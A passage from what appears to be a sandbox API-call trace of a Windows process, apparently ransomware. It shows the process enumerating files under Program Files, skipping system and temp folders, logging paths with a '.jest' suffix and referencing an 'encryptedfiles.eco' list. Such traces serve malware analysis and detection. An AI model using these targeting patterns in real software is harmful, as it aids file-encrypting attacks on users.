pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.788] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.789] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.789] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.789] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.789] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.789] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.789] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.789] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.789] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.789] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x1 [0120.789] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="K", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x328, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.789] GetLastError () returned 0x0 [0120.789] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.789] lstrcpynW (in: lpString1=0x144d9ac, lpString2="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions", iMaxLength=63 | out: lpString1="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions") returned="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions" [0120.789] GetLastError () returned 0x0 [0120.790] CloseHandle (hObject=0x328) returned 1 [0120.790] GetLastError () returned 0x0 [0120.790] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.790] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 0x4c [0120.790] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.790] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 0x4c [0120.790] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.790] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 0x4c [0120.790] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.791] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 0x4c [0120.791] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.791] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 0x4c [0120.791] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.791] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 0x4c [0120.791] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.791] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.791] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.791] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.791] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.791] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.792] IMalloc:Alloc (This=0x767666bc, cb=0xa4) returned 0x1467b40 [0120.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.jest\r\n", cchWideChar=82, lpMultiByteStr=0x1467b40, cbMultiByte=164, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.jest\r\nh", lpUsedDefaultChar=0x0) returned 82 [0120.792] WriteFile (in: hFile=0x2e0, lpBuffer=0x1467b40*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x1467b40*, lpNumberOfBytesWritten=0x18e6a4*=0x52, lpOverlapped=0x0) returned 1 [0120.792] IMalloc:Free (This=0x767666bc, pv=0x1467b40) [0120.792] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0120.792] GetTickCount () returned 0x1150df6 [0120.792] GetTickCount () returned 0x1150df6 [0120.792] CoFreeUnusedLibraries () [0120.792] GetTickCount () returned 0x1150df6 [0120.792] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.792] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.792] GetTickCount () returned 0x1150df6 [0120.792] IsWindowVisible (hWnd=0x30268) returned 0 [0120.793] Sleep (dwMilliseconds=0x0) [0120.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", cchWideChar=-1, lpMultiByteStr=0x18e878, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpUsedDefaultChar=0x0) returned 76 [0120.793] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpFilePart=0x18e870*="keypad.xml") returned 0x4b [0120.793] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0120.793] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.793] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.793] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.794] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.794] GetLastError () returned 0x5 [0120.794] GetLastError () returned 0x5 [0120.794] SetLastError (dwErrCode=0x5) [0120.794] GetLastError () returned 0x5 [0120.794] SetLastError (dwErrCode=0x5) [0120.794] GetLastError () returned 0x5 [0120.794] SetLastError (dwErrCode=0x5) [0120.794] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.794] GetLastError () returned 0x5 [0120.794] GetLastError () returned 0x5 [0120.794] SetLastError (dwErrCode=0x5) [0120.794] GetLastError () returned 0x5 [0120.795] SetLastError (dwErrCode=0x5) [0120.795] GetLastError () returned 0x5 [0120.795] SetLastError (dwErrCode=0x5) [0120.795] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0120.795] GetFileType (hFile=0x328) returned 0x1 [0120.795] IMalloc:Alloc (This=0x767666bc, cb=0x88) returned 0x1467b40 [0120.795] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.795] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d7 [0120.796] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.796] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb34 | out: ppsaOut=0x18eb34) returned 0x0 [0120.796] ReadFile (in: hFile=0x328, lpBuffer=0x146ae88, nNumberOfBytesToRead=0x2d7, lpNumberOfBytesRead=0x18e9dc, lpOverlapped=0x0 | out: lpBuffer=0x146ae88*, lpNumberOfBytesRead=0x18e9dc*=0x2d7, lpOverlapped=0x0) returned 1 [0120.799] CloseHandle (hObject=0x328) returned 1 [0120.799] IMalloc:Free (This=0x767666bc, pv=0x1467b40) [0120.799] VarBstrCmp (bstrLeft="msvbvm60.dll", bstrRight="msvbvm60.dll", lcid=0x0, dwFlags=0x30001) returned 0x1 [0120.799] SafeArrayRedim (in: psa=0x14da4c0, psaboundNew=0x18e9e0 | out: psa=0x14da4c0) returned 0x0 [0120.800] RtlMoveMemory (in: Destination=0x146ae94, Source=0x146ae88, Length=0x2d7 | out: Destination=0x146ae94) [0120.800] GetLastError () returned 0x0 [0120.800] RtlMoveMemory (in: Destination=0x146ae90, Source=0x18eaa4, Length=0x4 | out: Destination=0x146ae90) [0120.800] GetLastError () returned 0x0 [0120.800] RtlMoveMemory (in: Destination=0x146ae88, Source=0x18ea5c, Length=0x4 | out: Destination=0x146ae88) [0120.800] GetLastError () returned 0x0 [0120.800] RtlMoveMemory (in: Destination=0x146ae8c, Source=0x18ea5c, Length=0x4 | out: Destination=0x146ae8c) [0120.800] GetLastError () returned 0x0 [0120.800] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0120.800] GetLastError () returned 0x0 [0120.800] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0120.800] GetLastError () returned 0x0 [0120.800] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.800] GetLastError () returned 0x0 [0120.800] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.800] GetLastError () returned 0x0 [0120.800] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.801] GetLastError () returned 0x0 [0120.801] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.801] GetLastError () returned 0x0 [0120.801] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.801] GetLastError () returned 0x0 [0120.801] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.801] GetLastError () returned 0x0 [0120.801] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.801] GetLastError () returned 0x0 [0120.801] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.801] GetLastError () returned 0x0 [0120.801] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.801] GetLastError () returned 0x0 [0120.801] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.801] GetLastError () returned 0x0 [0120.801] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.801] GetLastError () returned 0x0 [0120.801] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.801] GetLastError () returned 0x0 [0120.801] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.801] GetLastError () returned 0x0 [0120.801] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.801] GetLastError () returned 0x0 [0120.801] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.801] GetLastError () returned 0x0 [0120.801] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.802] GetLastError () returned 0x0 [0120.802] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0120.802] GetLastError () returned 0x0 [0120.802] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0120.802] GetLastError () returned 0x0 [0120.802] GetCurrentProcessId () returned 0x9e0 [0120.802] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0120.802] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0120.802] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.802] GetTickCount () returned 0x1150e05 [0120.802] GetTickCount () returned 0x1150e05 [0120.802] GetTickCount () returned 0x1150e05 [0120.802] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.802] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.802] GetTickCount () returned 0x1150e05 [0120.802] IsWindowVisible (hWnd=0x30268) returned 0 [0120.802] Sleep (dwMilliseconds=0x0) [0120.806] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0120.806] GetLastError () returned 0x0 [0120.806] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0120.806] GetLastError () returned 0x0 [0120.806] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.806] GetLastError () returned 0x0 [0120.807] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.807] GetLastError () returned 0x0 [0120.807] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.807] GetLastError () returned 0x0 [0120.807] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.807] GetLastError () returned 0x0 [0120.807] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.807] GetLastError () returned 0x0 [0120.807] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.807] GetLastError () returned 0x0 [0120.807] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.807] GetLastError () returned 0x0 [0120.807] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.807] GetLastError () returned 0x0 [0120.807] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.807] GetLastError () returned 0x0 [0120.807] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.807] GetLastError () returned 0x0 [0120.807] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.807] GetLastError () returned 0x0 [0120.807] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.807] GetLastError () returned 0x0 [0120.807] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.807] GetLastError () returned 0x0 [0120.807] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.807] GetLastError () returned 0x0 [0120.808] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.808] GetLastError () returned 0x0 [0120.808] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.808] GetLastError () returned 0x0 [0120.808] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0120.808] GetLastError () returned 0x0 [0120.808] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0120.808] GetLastError () returned 0x0 [0120.808] GetCurrentProcessId () returned 0x9e0 [0120.808] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0120.808] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0120.808] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.808] GetTickCount () returned 0x1150e05 [0120.808] GetTickCount () returned 0x1150e05 [0120.808] GetTickCount () returned 0x1150e05 [0120.808] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.808] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.808] GetTickCount () returned 0x1150e05 [0120.809] IsWindowVisible (hWnd=0x30268) returned 0 [0120.809] Sleep (dwMilliseconds=0x0) [0120.810] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0120.810] GetLastError () returned 0x0 [0120.810] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0120.810] GetLastError () returned 0x0 [0120.810] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.810] GetLastError () returned 0x0 [0120.810] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.810] GetLastError () returned 0x0 [0120.810] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.810] GetLastError () returned 0x0 [0120.810] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.810] GetLastError () returned 0x0 [0120.810] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.810] GetLastError () returned 0x0 [0120.810] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.810] GetLastError () returned 0x0 [0120.810] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.810] GetLastError () returned 0x0 [0120.811] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.811] GetLastError () returned 0x0 [0120.811] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.811] GetLastError () returned 0x0 [0120.811] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.811] GetLastError () returned 0x0 [0120.811] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.811] GetLastError () returned 0x0 [0120.811] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.811] GetLastError () returned 0x0 [0120.811] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.811] GetLastError () returned 0x0 [0120.811] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.811] GetLastError () returned 0x0 [0120.811] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.811] GetLastError () returned 0x0 [0120.811] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.811] GetLastError () returned 0x0 [0120.811] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0120.811] GetLastError () returned 0x0 [0120.811] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0120.811] GetLastError () returned 0x0 [0120.811] GetCurrentProcessId () returned 0x9e0 [0120.812] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0120.812] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0120.812] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.812] GetTickCount () returned 0x1150e05 [0120.812] GetTickCount () returned 0x1150e05 [0120.812] GetTickCount () returned 0x1150e05 [0120.812] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.812] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.812] GetTickCount () returned 0x1150e05 [0120.812] IsWindowVisible (hWnd=0x30268) returned 0 [0120.812] Sleep (dwMilliseconds=0x0) [0120.813] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0120.813] GetLastError () returned 0x0 [0120.813] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0120.813] GetLastError () returned 0x0 [0120.813] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.813] GetLastError () returned 0x0 [0120.813] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.813] GetLastError () returned 0x0 [0120.813] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.813] GetLastError () returned 0x0 [0120.813] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.813] GetLastError () returned 0x0 [0120.813] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.813] GetLastError () returned 0x0 [0120.813] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.813] GetLastError () returned 0x0 [0120.813] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.813] GetLastError () returned 0x0 [0120.814] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.814] GetLastError () returned 0x0 [0120.814] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.814] GetLastError () returned 0x0 [0120.814] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.814] GetLastError () returned 0x0 [0120.814] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.814] GetLastError () returned 0x0 [0120.814] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.814] GetLastError () returned 0x0 [0120.814] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.814] GetLastError () returned 0x0 [0120.814] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.814] GetLastError () returned 0x0 [0120.814] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.814] GetLastError () returned 0x0 [0120.814] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.814] GetLastError () returned 0x0 [0120.814] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0120.814] GetLastError () returned 0x0 [0120.814] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0120.814] GetLastError () returned 0x0 [0120.814] GetCurrentProcessId () returned 0x9e0 [0120.815] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0120.815] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) 